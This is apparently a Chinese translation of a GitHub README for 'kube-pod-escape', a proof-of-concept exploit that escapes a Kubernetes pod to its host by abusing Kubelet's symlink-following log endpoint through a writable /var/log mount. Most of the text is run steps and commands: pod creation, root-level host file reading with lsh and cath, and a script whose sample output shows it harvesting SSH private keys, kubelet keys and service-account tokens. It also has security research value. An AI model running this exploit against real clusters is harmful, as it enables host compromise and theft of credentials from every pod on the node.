danielsagi/kube-pod-escape

GitHub: danielsagi/kube-pod-escape

利用 Kubelet 符号链接漏洞和 /var/log 写入权限实现从 Pod 逃逸至宿主机的概念验证工具

Stars: 100 | Forks: 14

# Kubelet 针对 /var/log 挂载的漏洞利用 Kube-pod-escape 是一个针对 Kubelet 日志文件服务中符号链接跟随行为漏洞的 POC,结合一个对 /var/log 具有写入权限的 hostPath 挂载的 Pod。 此 POC 展示了利用该挂载的 Pod 的结果,以及它如何逃逸到主机。 关于此发现的更多信息可以在以下[博客文章](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)中阅读 [![asciicast](https://asciinema.org/a/260371.svg)](https://asciinema.org/a/260371?speed=2) 此仓库包含运行此漏洞利用的所有文件和相关代码。 ## 前置条件 一个 Kubernetes 集群, 使用 `kubectl logs ` 获取日志没有限制 ## 运行漏洞利用 首先,通过以下方式创建 Pod: ``` $ kubectl create -f escaper.yml pod "escaper" created ``` 创建 Pod 后,进入 escaper Pod。 ``` $ kubectl exec -it escaper bash ➜ root@escaper:~/exploit$ lsh Usage: [cath|lsh] ``` ### lsh 功能类似于 ls,但在主机上使用 root 权限。 ### cath 功能类似于 cat,但在主机上使用 root 权限。 示例: ``` $ kubectl exec -it escaper bash ➜ root@escaper:~/exploit$ lsh /proc 1/ 10/ 10034/ 10042/ 10047/ .... ``` ## 提取敏感数据 除了提供的 lsh 和 cath 命令外,在 `~/exploit` 文件夹内,还有一个 Python 脚本,它会自动定位并从主机下载私钥文件,以及 Kubernetes 服务账号令牌。 _(为了查找令牌,该脚本会搜索 /var/lib/kubelet/pods 文件夹。这样它就可以读取主机上运行的每个 Pod 的挂载 .token 文件)_ ## 运行脚本 ``` $ kubectl exec -it escaper bash ➜ root@escaper:~/exploit$ python find_sensitive_files.py [*] Got access to kubelet /logs endpoint [+] creating symlink to host root folder inside /var/log [*] fetching token files from host [+] extracted hostfile: /var/lib/kubelet/pods/6d67bed2-abe3-11e9-9888-42010a8e020e/volumes/kubernetes.io~secret/metadata-agent-token-xjfh9/token [*] fetching private key files from host [+] extracted hostfile: /home/ubuntu/.ssh/private.key [+] extracted hostfile: /etc/srv/kubernetes/pki/kubelet.key ... ``` 令牌文件下载至:`/root/exploit/host_files/tokens` 密钥文件下载至:`/root/exploit/host_files/private_keys`
标签:hostPath, Hybrid Kubelet, Kubelet, POC, Root权限, StruQ, /var/log, Web截图, Web报告查看器, 主机挂载, 协议分析, 子域名突变, 容器安全, 容器逃逸, 应用安全, 敏感文件提取, 服务账户令牌, 权限提升, 符号链接, 逆向工具